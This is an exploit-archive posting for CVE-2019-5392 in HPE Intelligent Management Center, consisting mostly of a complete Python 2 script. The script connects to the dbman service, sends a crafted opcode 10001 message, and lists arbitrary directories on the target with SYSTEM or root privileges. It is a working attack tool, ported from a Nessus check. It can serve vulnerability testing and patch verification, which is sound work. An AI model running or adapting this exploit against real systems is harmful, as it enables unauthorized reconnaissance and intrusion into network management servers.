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HPE Intelligent Management Center Information Disclosure

HPE Intelligent Management Center Information Disclosure
Posted Sep 23, 2019
Authored by Rishabh Sharma

HPE Intelligent Management Center versions prior to 7.3 E0506P09 suffer from an information disclosure vulnerability.

tags | exploit, info disclosure
advisories | CVE-2019-5392
SHA-256 | 65fc0f774a58acc28508f97e744edccbab854d94e701fd276f5e07b5f0cc72f9

HPE Intelligent Management Center Information Disclosure

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#!/opt/local/bin/python2.7

# Exploit Title: HPE Intelligent Management Center dbman Command 10001 Information Disclosure
# Date: 22-09-2019
# Exploit Author: Rishabh Sharma (Linkedin: rishabh2241991)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Tested on Version: iMC_PLAT_7.1_E0302_Standard_Windows and iMC_PLAT_7.2_E0403_Std_Win
# Tested on: Windows 7
# CVE : CVE-2019-5392
# Conversion of Nessus Plugin to Python Exploit
# Nessus Plugin Name: hp_imc_dbman_cmd_10001_info_disclosure.nasl
# Description: This vulnerability allow remote attacker to view the contents of arbitrary directories under the security context of the SYSTEM or root user.
# See Also: https://www.tenable.com/plugins/nessus/118038

from pyasn1.type.univ import *
from pyasn1.type.namedtype import *
from pyasn1.codec.ber import encoder
import struct
import binascii
import socket, sys
import sys
import re

if len(sys.argv) != 4:
print "USAGE: python %s <ip> <port> <directory>" % (sys.argv[0])
sys.exit(1)
else:
ip = sys.argv[1]
port = int(sys.argv[2]) # Default Port 2810
directory = sys.argv[3]
payload = directory.replace("\\","\\\\")
opcode = 10001

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Socket Created.."
except socket.error:
print 'Failed to create socket'
sys.exit()
victim_address = (ip,port)
print('connecting to {} port {}'.format(*victim_address))
sock.connect((ip, port))

class DbmanMsg(Sequence):
componentType = NamedTypes(
NamedType('flag', Integer()),
NamedType('dir', OctetString())
)

data = DbmanMsg()
data['flag'] = 1
data['dir'] = payload
encodeddata = encoder.encode(data, defMode=False)
dataLen = len(encodeddata)
values = (opcode, dataLen, encodeddata)
s = struct.Struct(">ii%ds" % dataLen)
packed_data = s.pack(*values)
print 'Format string :', s.format
print 'Uses :',s.size, 'bytes'
print 'Packed Value :', binascii.hexlify(packed_data)
print '\n'
print 'Sending Payload...'
sock.send(packed_data)
BUFF_SIZE = 4000
res = sock.recv(BUFF_SIZE)
rec = len(res)
if (rec == 0):
print "No data in the directory"
else:
print "Data Recived: "+str(rec)
a = repr(res)
b = a
b = re.sub(r'(x\d\d)', '', b)
b = re.sub(r'(\\x[\d].)', '', b)
b = re.sub(r'(\\x..)', '', b)
replacestring = ['"','\\n','\\r','\\t','0']
print "Data in "+payload+" Directory: \n"
for r in replacestring:
b = b.replace(r,'')
b = b.replace("'","")
#print b #Remove '#' if output results is not proper
matches = re.finditer(r"([\\]*)([.[a-zA-Z\d\s]*)", b, re.MULTILINE)
for matchNum, match in enumerate(matches, start=1):

print match.group(2)
print "Done..."
sock.close()
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